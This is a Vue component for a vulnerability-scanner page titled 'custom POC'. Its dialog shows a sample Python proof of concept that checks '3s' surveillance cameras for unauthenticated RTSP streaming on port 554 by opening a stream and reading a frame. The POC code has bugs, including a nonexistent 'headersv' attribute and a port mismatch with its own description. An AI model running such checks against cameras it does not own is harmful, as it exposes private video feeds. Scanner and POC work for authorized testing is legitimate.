<template>
  <div class="form-banner">
    <el-header style="font-size: 20px; font-weight: bold">
      <i class="el-icon-folder-add" style="margin-right: 15px"></i>
      <span>自定义POC</span>
    </el-header>
    <div class="form-menu">
      <el-form :inline="true" class="demo-form-inline">
        <el-table fit :data="tableData" border style="width: 100%">
          <el-table-column prop="date" label="系统名"> </el-table-column>
          <el-table-column prop="name" label="漏洞类型"> </el-table-column>
          <el-table-column prop="address" label="脚本类型"> </el-table-column>
          <el-table-column prop="date" label="时间" width="240">
          </el-table-column>
        </el-table>
        <div class="inputClick">
          <el-form-item>
            <el-button type="primary" @click="open2">测试运行</el-button>
          </el-form-item>
          <el-form-item>
            <el-button type="warning" @click="dialogVisible = true"
              >导入漏洞</el-button
            >
          </el-form-item>
          <el-dialog
            title="POC代码"
            :visible.sync="dialogVisible"
            width="70%"
            :before-close="handleClose"
          >
            <div class="text">
              <code>
                #!/usr/bin/python<br />
                # -*- coding:utf-8 -*-<br />
                import requests<br />
                import rtsp<br />
                # pip3 install rtsp<br />
                VUL_INFO_DIC = {<br />
                'vulID': 'N/A',<br />
                'author': '治煜科技',<br />
                "vulDate": "2020-05-20",<br />
                'createDate': '2020-06-28',<br />
                'references': ['摄像头漏洞'],<br />
                'name': '3s设备流式传输未授权访问',<br />
                'appPowerLink': '',<br />
                'appName': 'all version',<br />
                'appVersion': '3s监控设备',<br />
                'vulType': '未授权访问',<br />
                'desc':
                '攻击者可以使用在端口上的摄像机上运行10554/tcp的未经身份验证的RTSP服务器来观看未经身份验证的流。',<br />
                'solution': "建议更新官方网站最新系统版本",<br />
                }<br />
                class CheckVul(object):<br />
                def __init__(self,url):<br />
                self.arg = url<br />
                self.url = self.__parse__()<br />
                def __parse__(self,):<br />
                from urllib.parse import urlparse<br />
                if self.arg.startswith("http"): result = urlparse(self.arg)<br />
                else: result = urlparse('http://%s'%self.arg)<br />
                if result.port is None and result.scheme == 'https': port =
                443<br />
                elif result.port is None and result.scheme == 'http': port =
                80<br />
                else: port = result.port<br />
                return '{}:{}'.format(result.hostname,554)<br />
                def __check__(self):<br />
                RTSP_ =
                'rtsp://{CAMERAIP}/cam1/h26412'.format(CAMERAIP=self.url)<br />
                try:<br />
                client = rtsp.Client(rtsp_server_uri=RTSP_)<br />
                _ = client.read().show()<br />
                if _ :<br />
                return True,VUL_INFO_DIC.get('name')+RTSP_<br />
                return False,''<br />
                except Exception as error:<br />
                return False,None<br />
                def contains(self,result):<br />
                _,response = self.__check__()<br />
                if _:<br />
                result['response'] = response.headersv<br />
                return True,response<br />
                result['result'] = response<br />
                return False,None<br />
                def main(param):<br />
                result = param.get('result', {})<br />
                try:<br />
                url = param['url']<br />
                _,response = CheckVul(url).contains(result)<br />
                if _:<br />
                result['success'] = True<br />
                result['result'] = response<br />
                except Exception as e:<br />
                result['error'] = str(e)<br />
                finally:<br />
                return result<br />
                if __name__ == '__main__':<br />
                param = {<br />
                'url': 'http://127.0.0.1:8000',<br />
                'result': {'success': False, 'request': [], 'response': []}<br />
                }<br />
                object_ = main(param)<br />
                print(object_)<br />
              </code>
            </div>
            <span slot="footer" class="dialog-footer">
              <el-button @click="dialogVisible = false">取 消</el-button>
              <el-button type="primary" @click="dialogVisible = false"
                >确 定</el-button
              >
            </span>
          </el-dialog>
        </div>
      </el-form>
    </div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      tableData: [
        {
          date: '',
          name: '',
          address: '',
        },
        {
          date: '',
          name: '',
          address: '',
        },
        {
          date: '',
          name: '',
          address: '',
        },
        {
          date: '',
          name: '',
          address: '',
        },
      ],
      dialogVisible: false,
    }
  },
  methods: {
    onSubmit() {
      console.log('submit!')
    },

    open2() {
      this.$message({
        message: '运行成功',
        type: 'success',
      })
    },

    handleClose(done) {
      this.$confirm('确认关闭？')
        .then((_) => {
          done()
        })
        .catch((_) => {})
    },
  },
}
</script>

<style scoped>
.form-banner {
  margin: 0.3%;
  padding: 15px 0px 0px 0px;
  box-shadow: 0 2px 12px 0 rgba(0, 0, 0, 0.1);
}

.text {
  text-align: left;
  height: 400px;
  overflow: auto;
  background-color: black !important;
  color: rgb(0, 255, 234);
}

.el-header {
  background-color: rgba(51, 48, 51, 0.219);
  color: #333;
  line-height: 60px;
}

.form-menu {
  padding: 5px;
  box-shadow: rgba(0, 0, 0, 0.671);
}

.inputClick {
  width: 100%;
  text-align: center;
  margin: 20px 0px 0px 0px;
}
</style>

